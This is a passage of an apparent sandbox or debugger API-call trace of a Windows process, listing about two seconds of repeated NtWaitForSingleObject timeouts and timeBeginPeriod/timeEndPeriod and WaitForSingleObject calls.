	[0076.810] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.831] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.831] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.836] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.836] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.874] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.875] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.882] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.882] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.884] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.884] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.902] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.902] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.907] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.907] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.932] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.938] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.938] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.938] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.940] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.940] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.958] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.958] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.963] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.993] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.996] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.014] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.014] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.019] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.019] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.050] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.053] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.071] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.071] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.092] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.092] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.125] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.126] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.126] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.127] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.128] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.146] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.146] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.150] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.150] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.181] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.181] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.183] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.183] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.199] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.208] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.208] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.209] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.237] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.258] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.258] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.262] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.307] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.311] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.319] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.322] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.324] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.346] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.347] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.349] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.385] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.386] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.393] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.395] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.414] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.414] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.418] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.418] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.450] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.451] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.451] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.453] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.453] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.470] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.471] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.475] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.475] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.499] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.508] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.508] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.510] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.510] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.528] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.528] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.532] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.565] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.565] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.566] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.584] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.585] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.589] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.589] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.625] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.631] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.633] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.640] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.657] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.657] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.659] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.659] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.680] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.708] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.708] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.713] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.713] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.737] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.742] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.745] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.745] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.746] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.746] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.751] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.751] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.752] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.770] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.770] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.771] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.771] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.772] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.772] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.773] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.773] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.793] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.801] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.803] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.822] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.822] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.826] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.826] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.855] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.855] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.857] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.857] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.875] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.875] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.880] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.914] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.914] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.921] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.921] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.923] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.923] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.941] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.941] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.946] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.946] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.959] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.977] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.991] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0077.997] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0077.997] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0077.999] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0077.999] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.017] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.017] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.021] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.021] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.046] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.052] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.052] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.054] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.054] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.072] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.072] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.076] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.095] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.117] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.118] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.118] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.120] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.120] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.138] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.138] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.143] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.143] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.176] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.183] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.183] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.184] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.210] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.210] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.211] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.211] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.211] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.215] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.235] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.240] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.241] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.241] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.242] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.261] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.261] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.265] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.310] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.311] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.311] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.316] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.316] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.380] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.401] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.401] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.412] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.413] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.447] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.450] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.459] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.461] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.480] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.480] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.485] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.560] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.594] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.594] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.599] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.632] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.634] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.653] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.653] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.658] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.692] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.700] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.700] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.701] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.718] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.725] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.726] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.726] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.728] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.728] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.750] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.776] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.776] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.780] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.780] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.804] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.815] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.824] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.838] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.840] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.840] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.841] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.842] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.842] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.843] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.843] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.870] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
